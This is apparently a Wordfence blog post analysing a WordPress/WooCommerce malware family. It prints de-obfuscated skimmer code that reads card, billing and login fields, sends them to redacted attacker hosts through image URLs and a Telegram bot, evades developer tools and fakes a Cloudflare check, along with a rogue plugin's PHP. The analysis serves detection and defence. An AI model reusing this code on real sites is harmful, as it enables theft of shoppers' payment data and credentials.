A Deep Dive into a Modular Malware Family


📢 Calling all Vulnerability Researchers and Bug Bounty Hunters! 📢

🌞 Spring into Summer with Wordfence! Now through August 4, 2025, earn 2X bounty rewards for all in-scope submissions from our ‘High Threat’ list in software with fewer than 5 million active installs. Bounties up to $31,200 per vulnerability. Submit bold. Earn big!


The Wordfence Threat Intelligence Team recently identified an interesting malware family on May 16, 2025 during a site clean. This malware family shared a codebase but varied in features across different versions, including credit card skimming and WordPress credential theft. Most surprisingly, one variant incorporated a live backend system hosted directly on infected websites for attacker use – a previously unseen method – packaged and disguised as a rogue WordPress plugin.

Further research uncovered evidence of this campaign in our Threat Intelligence platform dating back to September 2023, indicating a prolonged operation targeting multiple entities. Analysis of the malware’s growing codebase of over more than 20 samples provided unique insights into the evolution of this framework.

Several malware detection signatures were developed and released after undergoing our Q&A process between May 17 and June 15, 2025. All Wordfence Premium, Care, and Response customers received these signatures immediately, along with paid Wordfence CLI Users. Users of the free versions of Wordfence and Wordfence CLI receive the same signatures after the standard 30-day delay.

As part of our product lineup, we offer security monitoring and malware removal services for our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signature set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.

Malware Analysis: Shared Features

All of the malware samples analyzed employ identical obfuscation techniques and often incorporate anti-analysis measures to evade detection. Common anti-analysis features observed include developer tools detection and console rebinding. Other shared features are found in most samples, suggesting an ongoing development effort over the years.

Developer Tools Detection and Analysis Evasion

To evade analysis, malware often employs a technique to detect if a browser’s developer tools (like Firefox Developer Tools or Chrome DevTools) are active: if detected, the malware – when properly implemented – will often alter its behavior to avoid detection in the console. The shared method for this detection is as follows:

(function () {
  var _0x2cef57 = {
    open: false,
    orientation: null
  };
  var _0x1bfac6 = function (_0x2206b1, _0x46930e) {
    var _0x2372aa = {
      open: _0x2206b1,
      orientation: _0x46930e
    };
    var _0x1797e7 = {
      detail: _0x2372aa
    };
    window.dispatchEvent(new CustomEvent("devtoolschange", _0x1797e7));
  };
  setInterval(function () {
    var _0xff65e4 = window.outerWidth - window.innerWidth > 160;
    var _0x24fb7b = window.outerHeight - window.innerHeight > 160;
    var _0x32180e = _0xff65e4 ? "vertical" : "horizontal";
    if ( !(_0x24fb7b && _0xff65e4) && 
      (window.Firebug && window.Firebug.chrome 
      && window.Firebug.chrome.isInitialized || _0xff65e4 || _0x24fb7b)
    ) { 
      if (true || null !== _0x32180e) {
        _0x1bfac6(true, _0x32180e);
      }
      _0x2cef57.open = true;
      _0x2cef57.orientation = _0x32180e;
    } else {
      _0x2cef57.open = false;
      _0x2cef57.orientation = null;
    }
  }, 500);
})();

The above code continuously checks the difference between window.outerWidth / outerHeight and window.innerWidth / innerHeight and dispatches a custom devtoolschange event with the details. A significant difference may indicate the developer tools are open. In most samples the data collection and exfiltration logic is designed to check the developer tools status before proceeding.

Further investigation unveiled even more advanced anti-analysis techniques in certain samples, like infinite loops and debugger traps:

if (typeof _0x2f1bc9 === "string") {
  return function (_0x21327c) {}.constructor("while (true) {}").apply("counter");
}
[...]
(function () {
  return true;
}).constructor("debugger").call("action");

The above code is designed to effectively block analysis, either by creating and executing a function containing an infinite while(true) loop intended to freeze or crash a browser tab or the developer tools, or programmatically inserting debugger statements that will pause execution if developer tools are open.

Some malware samples also included functionality to prevent the use of typical browser debugging shortcuts. For instance the following code deactivates right-click context menus, the F12 key (commonly used to access browser debug tools), Ctrl + Shift + I / J (methods to open developer tools or the browser console), and Ctrl + U (for viewing page source):

function y5() {
  if (!document) {
    return false;
  }
  document.oncontextmenu = () => {
    return false;
  };
  document.onkeydown = function (L) {
    if (event.keyCode == 123) {
      return false;
    } 
    if (L.ctrlKey && L.shiftKey && L.keyCode == 73) {
      return false;
    }
    if (L.ctrlKey && L.shiftKey && L.keyCode == 74) {
      return false;
    }
    if (L.ctrlKey && L.keyCode == 85) {
      true;
      return false;
    }
  };
}

Console Rebinding

Later iterations of this malware incorporate a sophisticated mechanism for dynamically rebinding console methods within the browser environment: this advanced anti-analysis technique is specifically designed to obstruct reverse engineering efforts and slow debugging processes.

var _0x4010b0 = _0x28c945(this, function () {
  var _0x44f901 = function () { 
    var _0x57826f;
    try {
      _0x57826f = Function("return (function() {}.constructor("return this")( ));")();
    } catch (_0x1cfe50) { 
      _0x57826f = window; 
    }
    return _0x57826f;
  };
  var _0x1146fe = _0x44f901();
  var _0x40aa83 = _0x1146fe.console = _0x1146fe.console || {};
  var _0x393b06 = ["log", "warn", "info", "error", "exception", "table", "trace"];
  for (var _0x502973 = 0; _0x502973 < _0x393b06.length; _0x502973++) {
    var _0x3da987 = _0x28c945.constructor.prototype.bind(_0x28c945);
    var _0x45176f = _0x393b06[_0x502973];
    var _0x5ce9e8 = _0x40aa83[_0x45176f] || _0x3da987;
    _0x3da987.__proto__ = _0x28c945.bind(_0x28c945);
    _0x3da987.toString = _0x5ce9e8.toString.bind(_0x5ce9e8);
    _0x40aa83[_0x45176f] = _0x3da987;
  }
});
_0x4010b0();

Targeted Execution

All of the malware variants we analyzed include checks to limit their activity to specific website areas. For example, they avoid running in the WordPress admin panel to prevent detection, or ensure they operate only on checkout pages. Some variants use cookies to recognize and evade site administrators and users who have already had their information stolen:

if (jQuery("#wpadminbar").length) { 
   document.cookie = "wp-admin=true; expires=Thu, 18 Dec 2037 12:00:00 UTC";
   return;
}
[...]
if (document.cookie.indexOf("wp-admin")!== -1) {
  return;
}

if (window.location.toString().indexOf("checkout") === -1) { 
  return; 
}

Recent variants of this malware also include a list of disallowed email address and domain names which is later checked against billing data, likely to avoid targeting specific accounts, and again in order to evade detection:

var _0x4f4b15 = ["[redacted].com", "[redacted]@[redacted]"];
function _0x19df15(_0x354c43, _0x1a2e6e) {
  for (var _0x27eb60 = 0; _0x27eb60 < _0x1a2e6e.length; _0x27eb60++) {
	if (_0x354c43.indexOf(_0x1a2e6e[_0x27eb60])!== -1) {
  	return true;
	}
  }
  return false;
}
[...]
jQuery(document).ready(function () {
  if (_0x19df15(jQuery("#billing_email").val(), _0x4f4b15)) {
	return;
  }

Form Manipulation

Most of the malware variants use techniques like form manipulation, injection, overlays, or hijacking to steal payment and billing information. These methods varied based on the website and integrated payment gateways; sometimes multiple approaches are combined. The prevalent technique involved directly intercepting payment and billing data from HTML forms.

var _0x157048 = jQuery("#Field-numberInput")[0].value.replace(/s/g, '');
var _0xaf67b6 = jQuery("#expiration-date-over")[0].value.replace(/s/g, '');
var _0x4bda31 = jQuery("#security-code-over")[0].value;

Another common implementation consists in a Base64 encoded string containing the HTML code to resemble a fake payment form, which is then appended to the legitimate WooCommerce payment box:

jQuery(".payment_box.payment_method_hitpay")
.append(atob("PGRpdiBpZD0iZm9ybS1vdmVyIiBzdHlsZT0iZm9udC1mYW1pbHk6dmFyKC0tZm9ud[...]

In some cases we observed a form overlay technique similar to the one found in a sophisticated & stealthy formjacking malware recently analyzed, even though this malware family differs in several ways – most notably a different approach to persistence and resilience – while still repurposing legitimate web technologies for uses that directly undermine security and privacy, albeit in a different way.

For instance the malware makes use of localStorage to store configuration data within a victim’s browser. This technique allows the malware to persist and maintain its presence across browsing sessions, even without directly manipulating cookies.

if (!window._2YJMFP6HTkyCsYsn) {
	var _0x9fc37f = {
    	unique: false,
    	ttl: 0x15180,
    	R_PATH: "https://[redacted]/BKhxsf7" 
	};
	window._2YJMFP6HTkyCsYsn = _0x9fc37f;
}
const _0x36d585 = localStorage.getItem("config");
if (typeof _0x36d585 !== "undefined" && _0x36d585 !== null) {
	var _0x164663 = JSON.parse(_0x36d585);
	var _0x51bd9a = Math.round(+new Date() / 1000);
	if (_0x164663.created_at + window._2YJMFP6HTkyCsYsn.ttl < _0x51bd9a) {
    	localStorage.removeItem("subId");
    	localStorage.removeItem("token");
    	localStorage.removeItem("config");
	}
}

Other variants opted for a direct manipulation of the generated HTML code, in some cases even adding pseudo-validation in order to provide visual feedback, making the tampered form appear legitimate:

jQuery("#Field-numberInput").keyup(function () {
  if (!_0x1daf8a(_0x1b85d6.value) && _0x1b85d6.value.length > 18) {
    _0x1b85d6.style.setProperty("color", "red", "important");
  } else {
    _0x1b85d6.style.removeProperty("color");
  }
  if (jQuery(this).val().length === 0 || jQuery(this).val().length < 17) {
    jQuery(this).parent().addClass("error");
    jQuery(this).parent().removeClass("blur");
  } else {
    jQuery(this).parent().removeClass("error");
    jQuery(this).parent().removeClass("blur");
  }
});
var _0x15cde6 = {
  mask: "0000 000000 00000",
  regex: "^3[47]\d{0,13}",
  cardtype: "american express"
};
var _0x5a62b2 = {
 mask: "0000 0000 0000 0000",
 regex: "^(5[1-5]\d{0,2}|22[2-9]\d{0,1}|2[3-7]\d{0,2})\d{0,12}",
 cardtype: "mastercard"
};
var _0x47eaf4 = {
  mask: "0000 0000 0000 0000",
  regex: "^4\d{0,15}",
  cardtype: "visa"
};
[...]

One sample inspected also included a surprisingly complete fake human verification challenge, dynamically injected as a fullscreen and multi-language screen, intended to serve both as a user deception device and as an anti-bot filter.

This includes incredibly advanced features for malware, like text localized in multiple languages, CSS support for RTL languages and dark mode, interactive elements like animations and spinning SVGs, and a definite Cloudflare brand impersonation, revealing a complexity rarely encountered before.

var UG = {
[...]
  M: "Verifying...",
  s: "Privacy",
  b: "Terms",
  P: "Ray ID: ",
  z: "Cloudflare",
  F: "Perfomance & security by ",
[...]
var UV = {
  rotate: true,
[...]
  M: "در حال تأیید...",
  s: "حریم خصوصی",
  b: "شرایط",
  P: "Ray ID: ",
  z: "Cloudflare",
  F: "عملکرد و امنیت ارائه‌شده از ",
[...]
function ym(0x8a34d1) {
  [...]
  var 0x8a34d1 = document.createElement("div");
  0x8a34d1.innerHTML = "<svg fill="none" viewBox="0 0 30 30" xmlns="http://www.w3.org/2000/svg">" 
  + "<line class="{svg}" x1="15" x2="15" y1="1.5" y2="5.5"/>" +
  [...] 
  + "</svg>";
  [...]
}
function yI() {
  [...]
  var 0xa43f12 = document.createElement("span");
  0xa43f12.innerHTML = y0(Uh.P) + "<code>" + y1(16, "abcdefghijklmnopqrstuvwxyz1234567890") + "</code>";
  [...]
  var 0x73d24b = document.createElement("span");
  0x73d24b.innerHTML = y0(Uh.F) + 
  '<a rel="noopener noreferrer" href="//www.cloudflare.com" target="_blank">' 
  + y0(Uh.z) + '</a>';
  [...]
}

Data Exfiltration

Almost all of the malware variants use the same method to exfiltrate billing and payment data using custom encoding. Once collected, all data is concatenated into a single string then Base64 encoded and further encoded via a custom scheme, alternating a “percent” character:

var _0x18a6ff = _0x157048 + "|" + _0xaf67b6 + "|" + _0x4bda31 + "|" 
  + jQuery("#billing_first_name").val() + "|" 
  + jQuery("#billing_last_name").val() + "|" 
  + jQuery("#billing_address_1").val() + " " 
  + jQuery("#billing_address_2").val() + "|" 
  + jQuery("#billing_city").val() + "|" 
  + jQuery("#billing_postcode").val() + "|" 
  + jQuery("#billing_state").val() + "|" 
  + jQuery("#billing_phone").val() + "|" 
  + jQuery("#billing_email").val() + "|" 
  + jQuery("#billing_country").val();
_0x18a6ff = btoa(_0x18a6ff);
var _0x5af08f = '';
for (var _0x469686 = 0; _0x469686 &lt; _0x18a6ff.length; _0x469686++) {
  _0x5af08f += _0x18a6ff.charAt(_0x469686) + "%";
}

In most cases the stolen data is encoded and appended as a query parameter to a fake image URL hosted on an attacker controlled server, triggering an HTTP GET request to exfiltrate the data.
Furthermore, the server, path, and query parameters varied across analyzed samples, complicating detection efforts.

var _0x469686 = document.createElement("IMG");
_0x469686.src = "https://[redacted]/img-info/image-view.php?data-view=" + _0x5af08f;

In one case we also found a notable post-skim action. After successful exfiltration, the script hides the injected form and significantly manipulates an error message code to display a fake payment gateway error. This is a highly deceptive social engineering tactic, designed to explain the failed transaction to the end user delaying suspicion about the data theft.

if (_0x1970c7.length > 13 && _0x347afd.length > 3 && _0xef68f0.length > 2 && _0x360498.target.id == "place_order") {
  document.cookie = "work-done=true; expires=Thu, 18 Dec 2037 12:00:00 UTC";
  jQuery("#form-over").hide();
  jQuery("#cc-error-msg").text("The payment gateway is currently unavailable.");
  jQuery("#cc-error-msg").show();
}

Non-Skimming Variants

Our analysis involved a detailed examination of several malware samples, revealing some diversity in their underlying logic and intended functionality while still retaining most of the shared features. Even though most samples exhibited characteristics consistent with credit card skimming operations, our investigation uncovered three distinct variants.

These variants appear to be specifically engineered for a range of different malicious activities, including manipulation of Google Ads for fraudulent purposes, theft of WordPress login credentials, and distribution of further malware payloads to the end users, effectively denominating this malware family as a framework.

The malware variant specializing in malicious advertising kept most of its original functionalities but replaced the formjacking and data theft components. Instead, it was designed to selectively show ads if a user arrived from a known search engine or social media platform and was on a mobile device.

  [...]
  return /Mobile|Android|iPhone|iPad/i.test(navigator.userAgent);
}
function _0x1ed3d2() {
  var _0x1e7d2e = document.createElement("script");
  _0x1e7d2e.src = "https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-9514222065914327";
  _0x1e7d2e.async = true;
  _0x1e7d2e.crossOrigin = "anonymous";
  document.head.insertBefore(_0x1e7d2e, document.head.lastChild);
}
var _0x6c58db = [".google.", "bing.", "facebook.", "yandex.", 'pinterest.', '/t.co/', 
 "twitter.", 'linkedin.', 'instagram.', "yahoo.com", "duckduckgo.com", "ecosia.org", 
 'tiktok.com', ".ask.com", 'naver.com', "snapchat.com"];
var _0x460b5a = _0x6c58db.some(_0x3e8e4a => document.referrer.toLowerCase().includes(_0x3e8e4a));
if (_0x460b5a && _0x3f6f61() && !_0x52dbb9()) {
  _0x1ed3d2();
}
[...]

A different version of the malware targeted WordPress login credentials and other user data. It employed the same data theft and exfiltration techniques seen in previously analyzed samples.

var g = function E() {
if (window.location.toString().indexOf("wp-login.php") === -1) {
  return;
}
var l = jQuery("#user_login")[0].value.replace(/s/g, '');
var X = jQuery("#user_pass")[0].value.replace(/s/g, '');
var e = l + "|" + X + "|"
  + window.location.host + "|"
  + navigator.userAgent + "|"
  + screen.width + "x"
  + screen.height + "|"
  + navigator.language + "|"
  + Intl.DateTimeFormat().resolvedOptions().timeZone + "|"
  + new Date().toString();
e = btoa(e);
var w = '';
for (var R = 0; R &lt; e.length; R++) {
  w += e.charAt(R) + "%";
}
var R = document.createElement("IMG");
R.src = "https://[redacted]/graphic/image.php?image-pixel=" + w;
};

This malware framework was also used to dynamically replace links on infected websites with attacker-controlled ones. This allowed for the further spread of malware by distributing malicious versions of the originally linked content to users.

var _0x430dca = jQuery("a[href*="https://[victim]/[redacted].zip"]");
_0x430dca.each(function () {
  jQuery(this).attr("href", "https://[attacker]/wp-content/uploads/[redacted].zip");
});

User Tracking And Profiling

Certain malware samples, primarily designed for malicious advertising, utilized sophisticated tracking and profiling methods. These techniques gathered information about the user’s browser, operating system, and device type, and also categorized them based on traffic sources like search engines, social media, email, mobile apps, and referrals. To increase effectiveness and avoid serving ads to search engine bots a mechanism was implemented to identify and filter out automated tools, allowing for the collection of statistics specifically from genuine users.

["getDeviceInfo"]() {
  const _0xaaefad = navigator.userAgent;
  [...]
  return JSON.stringify({ browser: _0x443fd4, os: _0x35d1c5, device_type: _0x2decc9 });
}
[...]
["getTrafficCategory"]() {
  const _0xd73241 = document.referrer;
  [...]
  return { category: _0xee5b6 != '' ? _0xee5b6 : "Direct", source_network: _0x4d1538 };
}
[...]
const a0_0x4de89f = ["Googlebot", "Baiduspider", "Bingbot", "Slurp", "DuckDuckBot", "YandexBot", 
"Sogou", "Facebook", "Twitter", "LinkedIn", "Pinterest", "Instagram", "TikTok", "FeedFetcher", "AhrefsBot"];
[...]
["isExcludedUserAgent"]() {
  const _0x4a3b41 = navigator.userAgent.toLowerCase();
  return a0_0x4de89f.some(_0x100b9d =&gt; _0x4a3b41.includes(_0x100b9d.toLowerCase()));
}

We also observed a refined target reconnaissance routine aimed at targeted payload delivery, an evolution of previously observed similar code. All the information is encoded and appended as parameters to the remote payload URL, allowing attackers to receive detailed contextual information about the target, likely in order to deliver the most appropriate payload via a dynamic script inclusion:

var _0x3e308c = "?return=js.client";
_0x3e308c += '&amp;' + decodeURIComponent(window.location.search.replace('?', ''));
_0x3e308c += "&amp;se_referrer=" + encodeURIComponent(document.referrer);
_0x3e308c += "&amp;default_keyword=" + encodeURIComponent(document.title);
_0x3e308c += "&amp;landing_url=" + encodeURIComponent(document.location.hostname + document.location.pathname);
_0x3e308c += "&amp;name=" + encodeURIComponent("_2YJMFP6HTkyCsYsn");
_0x3e308c += "&amp;host=" + encodeURIComponent(window._2YJMFP6HTkyCsYsn.R_PATH);
[...]
var _0x42b86d = document.createElement("script");
_0x42b86d.type = "application/javascript";
_0x42b86d.src = window._2YJMFP6HTkyCsYsn.R_PATH + _0x3e308c;
var _0x439e67 = document.getElementsByTagName("script")[0];
_0x439e67.parentNode.insertBefore(_0x42b86d, _0x439e67);

Logging and Telemetry

Some malware samples use a direct Telegram channel for immediate and secret exfiltration of sensitive data from compromised systems in real time. This includes personal information like system and browser details. The malware also monitors and transmits user actions and identifies the compromised website or the site active during the attack, allowing attackers to understand the breach context and refine their targeting.

var Ui = ["win32", "win64", "windows", "wince"];
var UK = {};
function Ut(J) {
  if (!UK.D) {
    y7("//api.ipify.org", function (N) {
      if (N) {
    	UK.D = N;
    	Ut(J);
      }
   });
   return;
  }
  let L = "https://api.telegram.org/bot7468776395:[redacted]/sendMessage?chat_id=-4672047987&amp;text={action}|ip={ip}|useragent={ua}|site={site}";
  L = L.replace("{action}", J);
  L = L.replace("{ip}", UK.D);
  L = L.replace("{ua}", Uz());
  L = L.replace("{site}", document.location.host || "none");
  y7(L, function (R) {});
}

Malware Evolution: A Rogue WordPress Plugin

The exploration of these sophisticated malware features has been insightful, with most functionality aligning with expectations. However, certain samples displayed unique characteristics, indicating sustained and distinctive development efforts.

The initial sample was bundled with a deceptive fake WordPress plugin. This unconventional tactic of pairing skimming malware with a plugin, contrary to typical attacker strategies aimed at evading detection, immediately drew our analyst’s attention.

The plugin presents itself as well structured, following common development best practices such as separated folders for administrative and public facing code. However – unlike a recently analyzed malware masquerading as a legitimate WordPress plugin –  a quick inspection would reveal most files to be just empty scaffolding. Clearly the fake plugin was not affiliated in any way with WordPress or WooCommerce, even though it’s a fairly common tactic used by attackers to deceive their victims.

Both the code features and style indeed suggests the plugin template was likely generated by AI (we were able to track down some code features from publicly available code snippets). However some characteristics would catch the eye, like the misspelling of “WordPress” in the plugin name or the vague plugin description:

Rogue "Wordpress Core" plugin as shown in the admin area.

The actual credit card skimmer is found in wordpress-core-public.js. It is designed to directly skim data from existing, legitimate form fields on the page and it is highly selective about where and when it executes, targeting only the checkout page and avoiding administrative users as discussed before.

In addition to the credit card skimmer, the plugin contained PHP files that allow it to act as a server-side building block to complement this attack, effectively converting the compromised website into a custom interface available to the attackers.

The code found in the register-messages-posttype.php file creates a “messages” custom post type, which is used as backend infrastructure for collecting and managing the stolen data, and provides a custom link into the “My Account” view for convenience, which would allow users of any level access to the store orders despite the lack of capabilities:

add_filter( 'woocommerce_account_menu_items', 'insight____link_my_account' );
function insight____messages_content() {
  $customer_orders = get_posts(
	array(
  	'numberposts' => -1,
  	'meta_key'	=> '_customer_user',
  	'meta_value'  => get_current_user_id(),
  	'post_type'   => wc_get_order_types( 'view-orders' ),
  	'post_status' => array_keys( wc_get_order_statuses() ),
  	)
  );
  $orders_product_array = [];
  foreach ($customer_orders as $customer_order) {
    $order = wc_get_order( $customer_order->ID );
    foreach ( $order->get_items() as $item_id => $item_values ) {
      $product_id = $item_values->get_product_id();
      $item_data = $item_values->get_data();
      $product_id = $item_data['product_id'];
      if(!in_array($product_id,$orders_product_array)) {
        $orders_product_array[] = $product_id;
      }
    }
  }
[...]
foreach ($messages_plural as $key => $value) {
?>   
  <table class="woocommerce-orders-table woocommerce-MyAccount-orders shop_table shop_table_responsive my_account_orders account-orders-table">
	<thead>
        	<tr>
    	<th class="woocommerce-orders-table__header woocommerce-orders-table__header-order-number"><span class="nobr">Order</span></th>
    	<th class="woocommerce-orders-table__header woocommerce-orders-table__header-order-date"><span class="nobr">Date</span></th>
    	<th class="woocommerce-orders-table__header woocommerce-orders-table__header-order-actions"><span class="nobr">Actions</span></th>
        	</tr>
    	</thead>
[...]

Furthermore, the malicious code found in wordpress-core.php extends the skimming attack to the website backend, in order to ensure that the fraudulent transactions remain undetected and unprocessed as long as possible. This is achieved by leveraging the available hooks woocommerce_thankyou and wp_footer with routines to periodically scan the database for orders in progress and update their status to “wc-completed” in an attempt to evade or at least delay detection.

function insight__change_order_status( $order_id ) {
  if ( ! $order_id ) {return;}
  $order = wc_get_order( $order_id );
  if( 'processing'== $order->get_status() &&
  'authorize_net_cim_credit_card' == $order->get_payment_method()) {
	$order->update_status( 'wc-completed' );
  }
}
add_action('woocommerce_thankyou','insight__change_order_status');

function insight__get_order_status_woocommerce() {
  global $wpdb;
  $status = 'wc-processing';
  $data =  $wpdb->get_results("SELECT ID FROM {$wpdb->prefix}posts
	WHERE post_status LIKE '$status' AND `post_type` LIKE 'shop_order'");
  foreach($data as $singledata) {
	$order = new WC_Order( $singledata );
	if($order){
  	if( 'processing' == $order->get_status() &&
  	'authorize_net_cim_credit_card' == $order->get_payment_method()) {
    	$order->update_status( 'wc-completed' );
  	}
	}
  }
}
add_action('wp_footer','insight__get_order_status_woocommerce');

This rogue WordPress plugin represents a significant escalation for credit card skimmers. While the JavaScript code is responsible for capturing payment data and billing information, the PHP counterparts act as a backend directly on the compromised website.

Indicators of Compromise

The analyzed malware samples employed significant obfuscation, using a widely recognized algorithm, to evade detection; the same obfuscation technique is also frequently used by commercial plugins and themes to protect their intellectual property.

While common, this practice presents a challenge for malware analysts in developing reliable signatures for known threats. This may lead to occasional false positive detections for legitimate premium software, and complicates the listing of indicators of compromise.

  • advertising-cdn.com
  • api-service-188910982.website
  • blastergallery.com
  • chaolingtech.com
  • contentsdeliverystat.com
  • deliveryrange.pro
  • emojiselect.info
  • graphiccloudcontent.com
  • ​​imageresizefix.com
  • imagifytext.com
  • internetmemoryservice.com
  • staticdelivery.net
  • vectorimagefabric.com
  • vectorizegraphic.com
  • api.telegram.org/bot7468776395[…]chat_id=-4672047987
  • ca-pub-9514222065914327

Conclusion

In today’s blog post we highlighted an interesting malware family targeting various systems with diverse capabilities, including stealing credit card information and WordPress credentials. Additionally, we detailed a novel bundle of credit card skimmers and malicious WordPress plugins which combines malicious actions with features developed for the attacker’s convenience.

Wordfence Premium, Care and Response users, as well as paid Wordfence CLI customers, received malware signatures to detect these infected plugins between May 17 and June 15, 2025. Wordfence free users and Wordfence CLI free users receive signatures after a 30 day delay.

The post A Deep Dive into a Modular Malware Family appeared first on Wordfence.

Leave a Comment